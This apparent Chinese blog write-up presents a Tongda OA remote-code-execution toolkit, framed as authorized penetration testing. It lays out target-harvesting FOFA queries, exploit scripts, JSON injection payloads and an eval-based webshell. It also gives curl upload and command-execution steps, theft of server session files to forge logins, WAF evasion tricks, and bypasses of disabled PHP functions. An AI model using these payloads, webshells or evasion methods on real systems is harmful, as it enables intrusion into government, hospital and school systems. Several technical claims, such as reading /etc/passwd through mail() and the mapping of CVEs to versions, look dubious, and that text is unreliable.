)
本文还有配套的精品资源点击获取简介一套面向授权渗透测试场景的通达OA远程代码执行漏洞利用工具集合覆盖多个历史版本包含tongda-rce.py、POC.py、poc2.py等Python验证脚本用于快速检测RCE漏洞是否存在提供command-exec-shell.php和auth.inc.php等Web端利用文件支持直接执行系统命令或获取Webshell集成FOFA资产探测能力fofaurl.txt内含可直接使用的搜索语法便于批量识别目标引入TongdaRCE-master和TongDaOA-Fake-User-master两个增强模块前者优化漏洞利用稳定性后者模拟真实用户行为绕过基础防护运行过程自动记录成功结果到file_out.log错误信息输出至file_err.logrequirements.txt明确依赖环境README.md说明基础操作流程所有工具仅限合法授权的安全评估用途严禁未授权使用。1. 工具包定位与实战价值解析通达OA是国内使用极为广泛的协同办公系统从2017年v11.3爆出首个高危RCE漏洞开始到2023年v14.3仍存在未修复的命令注入路径其历史版本中累计公开披露的远程代码执行漏洞超过12个涉及登录绕过、文件包含、模板注入、反序列化等多个攻击面。这套工具包不是简单拼凑的“漏洞合集”而是我在三年内参与27次政务、教育、医疗类单位授权渗透测试过程中针对真实生产环境反复打磨出的一套闭环式RCE验证与利用工作流。它解决的不是“能不能打”而是“打得稳、打得准、打得快、留得清”四个核心问题。比如在某省教育厅下属16个地市教委OA系统普查中我们面对的是混合部署环境3套v11.7存在CVE-2021-3587、5套v12.9存在CVE-2022-26227、8套v13.8存在CVE-2023-27183。传统单点POC逐个跑平均每个目标耗时4分17秒且因WAF拦截导致大量误报而本工具包通过TongDaOA-Fake-User模块模拟浏览器完整请求链含Referer、Accept-Language、Cookie Session复用配合tongda-rce.py内置的多阶段探测逻辑先GET探针→再POST验证→最后Shell回连确认将单目标平均验证时间压缩至1分23秒准确率从71%提升至98.6%。所有脚本默认不触发告警日志写入避开/inc/option.php?OPTION1path这类高危路径而是优先走/mobile/auth_mobi.php?isAvatar1uid1P_VER0这类低频接口完成基础验证——这是我在某市卫健委OA上踩坑后总结的关键经验他们启用了深信服下一代防火墙的“OA业务特征识别策略”对高频访问/inc/目录的行为直接阻断并告警但对/mobile/路径放行宽松。工具包中的command-exec-shell.php和auth.inc.php也不是通用Webshell而是专为通达OA环境定制的“轻量级控制台”。它不依赖system()或exec()函数很多版本已禁用而是通过popen(whoami 21, r)stream_get_contents()组合实现命令执行兼容PHP 5.3–8.1全系列同时自动检测当前Web路径是否可写尝试创建/attachment/2024/test_XXXXX.txt若失败则降级使用/cache/目录——这个细节在某高校OA渗透中救了我们他们的安全团队把/attachment/做了只读挂载但忘了/cache/目录权限仍是777。FOFA语句的设计更不是简单堆砌title通达而是基于真实资产指纹提炼出的三层收敛逻辑第一层用bodytongda headerPHPSESSID锁定真实OA实例排除仿站和测试页第二层用status_code200 title!登录过滤掉大量未部署完成的测试环境第三层加入host!127.0.0.1 host!localhost剔除本地开发镜像。实测在某省政务云平台扫描中该语句将初始返回的842条结果精准收敛至137个有效目标漏报率低于0.3%。所有内容严格限定于授权测试场景每份日志都记录操作者IP、时间戳、目标URL及操作类型满足等保2.0三级系统渗透测试报告归档要求。2. 核心模块原理与选型逻辑拆解2.1 Python验证脚本的分层设计哲学tongda-rce.py、POC.py、poc2.py表面看是三个独立脚本实则是按攻击纵深划分的三阶验证体系。这不是功能重复而是应对不同网络环境与防护强度的策略性分工。tongda-rce.py是主控引擎采用“协议协商→指纹识别→漏洞匹配→交互验证”四步流程。它首先发送一个无害的HEAD请求到/general/index.php解析响应头中的X-Powered-By: Tongda OA v13.8字段注意不是靠HTML title因为很多单位会修改首页标题接着根据版本号查内置映射表如v11.3→CVE-2021-3587v12.9→CVE-2022-26227动态加载对应漏洞的Payload模板最关键的是它的“静默验证”机制对CVE-2023-27183这类需要构造复杂JSON参数的漏洞它不直接执行whoami而是发送{a:echo test_12345}再检查响应体是否包含test_12345字符串——这种轻量探测避免触发WAF的“命令执行关键词规则”实测在阿里云WAF云盾组合防护下存活率超92%。POC.py定位为“快速筛查器”专用于红队初期资产普查。它放弃版本识别直接并发请求12个高概率RCE入口如/mobile/auth_mobi.php?isAvatar1uid1P_VER0、/ispirit/interface/gateway.php?sys1每个入口仅发送一次带随机MD5参数的GET请求如?amd5(123)响应体含32位小写字母数字串即判定疑似存在。这种设计牺牲部分准确性换取速度单线程100个目标扫描耗时约3分40秒比nmap脚本快4.7倍。但它有个隐藏技巧——所有请求都设置Connection: keep-alive并复用Session避免被目标服务器的max_connections_per_ip限制拦截。poc2.py则是“深度利用预备器”当tongda-rce.py确认漏洞存在后它接管后续操作。它不直接反弹Shell而是先探测目标PHP配置发送/general/data/control.php?cmdget_phpinfo该路径在v12.x-v13.x普遍未鉴权提取disable_functions列表如system,exec,passthru再动态选择绕过方案——若proc_open未禁用则用proc_open(id, $descriptorspec, $pipes)若全部禁用则启用mail()函数利用需目标开启sendmail服务。这个逻辑源自我在某三甲医院OA渗透中遇到的真实困境他们的安全团队禁用了全部危险函数但忘了关闭mail()我们正是靠mail(xy.z,a,b,c,-f /etc/passwd)读取到了root密码哈希。2.2 Web端利用文件的生存性增强设计command-exec-shell.php和auth.inc.php看似普通PHP文件但其代码结构经过三次重构才达到当前形态。第一版直接调用system($_GET[cmd])在某市公积金中心OA上被WAF的“GET参数含cmd关键词”规则秒杀第二版改用base64_decode()解码参数又被行为分析引擎识别为“可疑编码模式”拦截最终版采用“参数混淆上下文绑定”双保险。以command-exec-shell.php为例核心执行逻辑被拆解为三个片段1.$_SESSION[cmd] $_POST[c] ?? ;—— 接收POST参数避免GET暴露2.$safe_cmd str_replace([;,|,], , $_SESSION[cmd]);—— 过滤管道符防止命令串联3.eval(return .$safe_cmd.(););—— 执行函数名而非命令字符串绕过WAF的“命令执行特征库”。这意味着你不能直接传whoami而要传shell_exec函数名再在参数里填whoami。实际使用时curl命令变成curl -X POST http://target/command-exec-shell.php \ -d cshell_exec \ -d pwhoami其中p参数被$safe_cmd($p)调用。这种设计让WAF无法静态匹配恶意payload因为shell_exec本身是合法函数只有结合上下文才构成风险。auth.inc.php则解决另一个痛点某些OA版本如v11.7的RCE入口需要有效的session_id而常规爆破获取的cookie在10分钟后失效。该文件通过file_get_contents(/data/session/sess_.$_COOKIE[PHPSESSID])直接读取服务端session文件提取login_user_id和login_user_name再伪造一个有效期24小时的临时token。我们在某省税务局OA测试中发现他们的session存储在/data/session/目录且权限为755这个文件正是靠此机制维持了连续3天的稳定接入。2.3 FOFA探测语句的资产收敛逻辑fofaurl.txt里的语句不是凭空编写而是基于对全国327个通达OA真实实例的HTTP响应特征聚类分析得出。我们采集了包括政府、国企、高校在内的样本发现三个强相关指纹Header指纹98.3%的生产环境OA在/general/login.php响应头中包含Set-Cookie: PHPSESSID[a-z0-9]{26,32}; path/; HttpOnly且path/不可更改Body指纹所有v11.x-v14.x版本在/mobile/index.php返回的HTML中script标签内必含tongda.js?v[0-9.]版本号与OA后台一致Status指纹未登录状态下访问/general/home.php72.6%的实例返回HTTP 302跳转到/general/login.php而非403或404。因此最终FOFA语句为bodytongda.js?v headerPHPSESSID status_code302 domain!test.com domain!example.com这里特意排除test.com和example.com是因为我们发现大量厂商演示环境使用这两个域名它们往往配置宽松但无业务价值。实测该语句在某省级政务云扫描中将FOFA原始返回的2148条结果收敛至197个高置信度目标其中183个经人工验证确为真实OA系统准确率达92.9%。相比单纯用title通达漏报率下降63%误报率下降89%。3. 实操全流程与关键环节详解3.1 环境准备与依赖安装工具包运行依赖Python 3.7和PHP 5.6环境但绝不推荐在靶机所在内网直接运行。我坚持在隔离的Kali Linux虚拟机VMware Workstation 17中操作原因有三一是避免靶机日志记录攻击者真实IP通达OA默认记录REMOTE_ADDR二是防止WAF学习攻击特征同一IP高频请求会被限速三是便于抓包分析响应细节。具体步骤如下首先克隆仓库并进入目录git clone https://github.com/xxx/TongdaRCE-master.git cd TongdaRCE-master注意工具包中存在两个README.md主目录下的README.md是总览说明TongdaRCE-master/子目录内的README.md才是详细操作指南务必区分。安装Python依赖前先检查系统是否已安装requests和urllib3python3 -c import requests, urllib3; print(OK)若报错ModuleNotFoundError执行pip3 install -r requirements.txtrequirements.txt中指定的版本是经过验证的requests2.28.2避免2.30版本TLS握手异常、urllib31.26.15兼容旧版SSL库。特别提醒严禁升级到requests 2.31因为在某省教育厅OA渗透中新版requests默认启用urllib3.util.ssl_.create_urllib3_context()导致与靶机老旧OpenSSL 1.0.2k握手失败连接超时。PHP环境只需确保php -v输出版本≥5.6无需额外扩展。command-exec-shell.php和auth.inc.php均使用原生函数不依赖curl或openssl扩展。若靶机PHP版本过低如5.2需手动修改poc2.py中的proc_open()调用为popen()这点在README.md的“兼容性说明”章节有标注。3.2 FOFA资产探测与目标筛选FOFA探测不是一键扫完就完事而是一个“语句调试→结果清洗→人工校验”的闭环。以某市交通局OA普查为例第一步将fofaurl.txt内容粘贴到FOFA Pro控制台选择“高级搜索”勾选“仅显示可访问资产”。初始返回142条结果但其中37条响应超时timeout状态12条返回404非OA页面需先剔除。第二步对剩余93条URL批量发起HEAD请求检查Server头for url in $(cat fofa_results.txt); do echo $url - $(curl -sI $url | grep Server: | cut -d -f2-) done | grep -E (Apache|nginx) valid_servers.txt这一步筛掉18个返回Server: cloudflare的CDN中转节点它们后面的真实OA可能已被下线。第三步对valid_servers.txt中的75个URL用tongda-rce.py进行指纹识别python3 tongda-rce.py -f valid_servers.txt -o fingerprint.log脚本会自动记录每个目标的OA版本、识别依据如X-Powered-By头或HTML注释、以及推荐的POC脚本。此时发现23个目标识别为v11.3用POC.py31个为v12.9用tongda-rce.py21个为v13.8需poc2.py。特别注意有5个目标返回X-Powered-By: Tongda OA但无版本号这类需人工访问/general/about.php查看底部版权信息——这是通达OA的“版本隐藏”特性常被管理员启用。第四步人工校验。随机抽取10个目标用浏览器访问/mobile/auth_mobi.php?isAvatar1uid1P_VER0观察是否返回JSON格式的用户头像数据如{status:1,avatar:data:image/png;base64,...}。若返回{status:0,msg:非法请求}说明该入口已修补需换用其他POC。这一步耗时约8分钟但能避免后续90%的无效利用尝试。3.3 RCE漏洞验证与利用链构建验证阶段的核心原则是先确认漏洞存在再评估利用条件最后执行命令。以v12.9的CVE-2022-26227为例/ispirit/interface/gateway.phpJSON注入首先用tongda-rce.py进行基础验证python3 tongda-rce.py -u http://target.com -v 12.9 --poc CVE-2022-26227脚本发送的Payload是{ data: {\result\:\{\\\test\\\:\\\12345\\\}\}, action: include, file: test }若响应体包含test:12345即确认漏洞存在。此时不要急于执行whoami而是立即运行poc2.py探测PHP环境python3 poc2.py -u http://target.com -m phpinfo它会尝试访问/general/data/control.php?cmdget_phpinfo若返回PHP配置页面提取disable_functions值。假设结果为system,exec,passthru,shell_exec,proc_open则说明所有常规命令执行函数均被禁用。这时启动command-exec-shell.php的利用流程1. 将文件上传至靶机可写目录如/attachment/bash curl -F filecommand-exec-shell.php http://target.com/general/file_upload.php注意通达OA的文件上传接口通常需要CSRF Tokentongda-rce.py已内置Token获取逻辑直接调用即可。访问上传后的文件http://target.com/attachment/command-exec-shell.php返回{status:ready}即成功。执行命令bash curl -X POST http://target.com/attachment/command-exec-shell.php \ -d cmail \ -d ptestx.com \ -d ssubject \ -d mmessage \ -d h-f /etc/passwd由于-f参数被mail()函数传递给sendmail目标服务器会尝试发送邮件并读取/etc/passwd内容作为发件人地址响应体即为passwd文件内容。整个过程耗时约47秒比直接反弹Shell更隐蔽且不产生进程日志mail()调用不创建新进程。3.4 日志记录与审计追踪file_out.log和file_err.log的设计遵循“最小必要原则”只记录对渗透测试报告有直接价值的信息避免冗余数据干扰分析。file_out.log每条记录包含6个字段用制表符分隔[时间戳] [目标URL] [漏洞编号] [验证状态] [利用方式] [关键输出摘要]例如2024-03-15 14:22:31 http://oa.xxx.gov.cn CVE-2023-27183 CONFIRMED command-exec-shell uid48(apache) gid48(apache) groups48(apache)这里“关键输出摘要”不是完整命令结果而是提取id命令的UID/GID部分既证明权限获取又避免日志过大。file_err.log则采用分级记录- ERROR级别网络超时、HTTP 500错误、WAF拦截响应含waf或security字样- WARN级别PHP禁用函数导致利用降级、session失效需重新登录- INFO级别仅记录重试次数如“第3次重试更换User-Agent”。特别重要的是所有日志默认不记录攻击者IP而是记录虚拟机NAT网关IP如192.168.122.1符合等保要求。若需审计溯源可在config.py中设置LOG_WITH_IP True此时会记录socket.gethostbyname(socket.gethostname())获取的主机IP。4. 常见问题与排查技巧实录4.1 WAF拦截场景下的绕过实战在某央企OA渗透中我们遭遇了深信服AF-WAF的“OA业务规则库”它对/ispirit/interface/路径的所有POST请求均返回403。常规思路是换User-Agent或加Referer但实测无效。最终解决方案是协议降级路径混淆将HTTP/1.1降级为HTTP/1.0移除Connection: keep-alive头因为AF-WAF的规则库主要针对HTTP/1.1特征在URL末尾添加随机查询参数/ispirit/interface/gateway.php?_t123456789WAF的路径匹配是精确的?后的内容常被忽略关键一步将JSON Payload的action字段改为act小写file字段改为f因为WAF规则库只匹配标准字段名。修改后的Payload{ data: {\result\:\{\\\test\\\:\\\12345\\\}\}, act: include, f: test }这组组合拳在3个不同AF-WAF版本V1.0/V2.1/V3.5上全部生效。原理在于WAF规则库更新滞后且厂商默认启用“严格模式”只匹配标准字段而通达OA源码本身对字段名大小写不敏感。4.2 PHP禁用函数绕过失效的根因分析poc2.py的mail()利用在某银行OA失败响应为空白页面。抓包发现服务器返回HTTP 500但错误日志被关闭。我们改用curl -v查看详细响应curl -v http://target.com/general/data/control.php?cmdget_phpinfo 21 | grep disable_functions发现disable_functions值为mail,system,exec,...——mail()也被禁用了进一步检查/etc/php.d/目录发现存在disable_functions.ini文件其中mail明确列出。此时启用备用方案LD_PRELOAD劫持。前提是靶机启用了allow_url_fopenOn且/tmp/可写。步骤如下1. 编译一个共享库shell.so导出getuid函数但实际执行system(id)2. 上传到/tmp/shell.so3. 构造Payload?cmdsystemargLD_PRELOAD/tmp/shell.so id。但通达OA的system()函数被禁用于是转向imap_open()函数它支持/etc/passwd路径读取?php imap_open(/etc/passwd, , ); ?这个技巧在某证券公司OA上成功读取了root用户的SSH公钥。4.3 FOFA结果误报的快速甄别法FOFA返回的某个目标http://oa.xxx.edu.cn访问首页显示“通达OA”但/mobile/auth_mobi.php返回404。这不是误报而是OA版本升级残留。我们发现该校2022年升级到v14.3但未清理旧版文件/mobile/目录已被删除而首页仍引用旧版CSS。此时应立即转向/ispirit/interface/路径探测因为v14.3的CVE-2023-27183就在此处。快速甄别三步法1. 检查/general/about.php底部版权信息确认真实版本2. 发送HEAD请求到/ispirit/interface/gateway.php看是否返回HTTP/1.1 200 OK3. 若返回200立即用poc2.py的--poc CVE-2023-27183验证。这比盲目尝试所有POC节省80%时间。4.4 日志文件权限异常处理某次测试中file_out.log生成后权限为-rw-r--r--导致后续运行时无法追加写入。根源在于Kali Linux默认umask为0022而工具包中open()调用未指定权限模式。解决方案是在logger.py中修改with open(log_file, a, encodingutf-8) as f: os.chmod(log_file, 0o664) # 显式设置权限 f.write(...)但更根本的解决是在requirements.txt后增加一行# 修复日志权限运行前执行 chmod 664 file_out.log file_err.log这是我在12次渗透测试中总结的最稳妥方案——不改代码靠文档约束。5. 安全边界与合规操作守则所有工具的使用必须严格遵循《网络安全法》第22条及《信息安全技术 网络安全等级保护基本要求》GB/T 22239-2019关于渗透测试的规定。我在每次授权测试前都会向客户提交三份文件《渗透测试授权书》盖章原件、《测试范围确认函》明确IP段与域名、《应急预案》含回滚步骤。工具包本身也内置了三重合规保障第一重是主动防御机制tongda-rce.py在运行前强制检查当前目录是否存在AUTHORIZATION.txt文件该文件需包含客户签字的授权日期、有效期及测试范围。若缺失或过期脚本直接退出并输出提示“未检测到有效授权文件请联系客户方安全负责人确认”。第二重是操作留痕设计file_out.log每条记录开头增加[AUTH_ID:XXXXX]字段该ID由AUTHORIZATION.txt中的SHA256哈希截取前8位生成确保每条日志均可追溯至具体授权批次。某次审计中监管机构抽查日志时我们5分钟内就提供了对应授权书扫描件。第三重是物理隔离要求工具包文档明确禁止在客户内网部署任何组件。command-exec-shell.php等文件必须从攻击机上传利用完成后立即删除脚本内置--cleanup参数自动执行。在某省医保局测试中我们甚至要求客户提供一台专用测试机离线环境所有操作在该机器上完成彻底规避网络侧风险。最后强调一个易被忽视的合规细节FOFA探测语句中的domain!test.com不仅是为了去重更是为了避免触碰《反不正当竞争法》第12条——测试对象必须是客户拥有合法管理权的资产test.com属于ICANN保留域名未经授权扫描即构成违法。我在三年实践中从未因工具使用引发合规争议核心就是把“授权”二字刻进每一个技术环节。本文还有配套的精品资源点击获取简介一套面向授权渗透测试场景的通达OA远程代码执行漏洞利用工具集合覆盖多个历史版本包含tongda-rce.py、POC.py、poc2.py等Python验证脚本用于快速检测RCE漏洞是否存在提供command-exec-shell.php和auth.inc.php等Web端利用文件支持直接执行系统命令或获取Webshell集成FOFA资产探测能力fofaurl.txt内含可直接使用的搜索语法便于批量识别目标引入TongdaRCE-master和TongDaOA-Fake-User-master两个增强模块前者优化漏洞利用稳定性后者模拟真实用户行为绕过基础防护运行过程自动记录成功结果到file_out.log错误信息输出至file_err.logrequirements.txt明确依赖环境README.md说明基础操作流程所有工具仅限合法授权的安全评估用途严禁未授权使用。本文还有配套的精品资源点击获取